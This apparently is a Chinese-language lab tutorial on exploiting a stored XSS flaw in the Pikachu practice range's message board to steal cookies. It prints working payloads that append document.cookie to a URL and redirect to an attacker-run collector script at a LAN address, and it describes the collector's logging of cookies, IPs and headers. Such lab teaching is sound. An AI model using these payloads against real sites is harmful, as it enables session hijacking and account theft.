我们搭建环境需要:
1.一个攻击主机(物理机或则准备一个虚拟机)
2.存在漏洞的网站(pikachu靶场)
3.受攻击的客户端(虚拟主机)
我这里把受攻击的客户端和服务器的网站都是一个虚拟机担任,虚拟机当服务器又当做受攻击的客户端。下图是我在物理机上打开的有XSS漏洞的网站,我们现在要通过这个获取受攻击的Cookie。
注意:
1.这个虚拟机上需要有这个靶场,并且能和物理机通信
2.虚拟机关掉防火墙,以防有影响
3.下面这个参数取消勾选,默认是不勾选
现在我们模拟hacker找漏洞位置,发现这里有一个留言板,然后我们测试是否存在XSS漏洞,什么单引号双引号尖括号,闭合等等。然后我们测出这里存在XSS漏洞
<script>alert(1)</script>
然后我们把留言删除,刚刚我们知识测试是否存在有这个漏洞,然后我们现在想要获取cookie,需要构造代码了
然后我们了解几个简单JS代码
document.location.href;(获取当前网址)也可以不用写document
location.href="网站地址";(浏览器给这个网址发请求,也就是跳转到这个网址)
document.location="网站地址";
就会出现bilibili的页面
document.cookie;(获取当前页面的cookie信息)
location.href="https://www.bilibili.com/?cookie="+document.cookie;(当你访问这个网站时会携带cookie信息)
上述代码就是获取cookie,然后给这个网址发请求,如果是hacker网址,hacker就就会收到cookie
下图是物理机的,也就是hacker的
在这里插入图片描述](https://img-blog.csdnimg.cn/direct/12a47bda08fb4ef3986cb094b965a4da.png)
点击XSS后台,这就是我们收集cookie的网站,第一次进入需要初始化,如果你的数据库密码改了的就要去靶场的根目录的pkxss/inc/config.inc.php把链接数据库密码改成一致(案列靶场是这个,反正就是要找到这个配置文件)
目前还没有任何cookie
<script>location.href="http://192.168.177.1/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
这里的IP是能和虚拟机通信的,
这个是cookie.php源码,它从get请求取出了cookie,这也是为啥我们构造是要写cookie了
然后获取时间,获取客户端的IP
然后获取cookie值
然后获取了referer和uaeragrnt两个请求头信息
然后拼接了一个sql语句,给cookie表插入了一些数据
然后执行sql语句
执行完之做了一个php的重定向,做完上面操作,保存完数据库之后,重新给你访问了一下这个网址,这个网址应该改成存在漏洞的网站的IP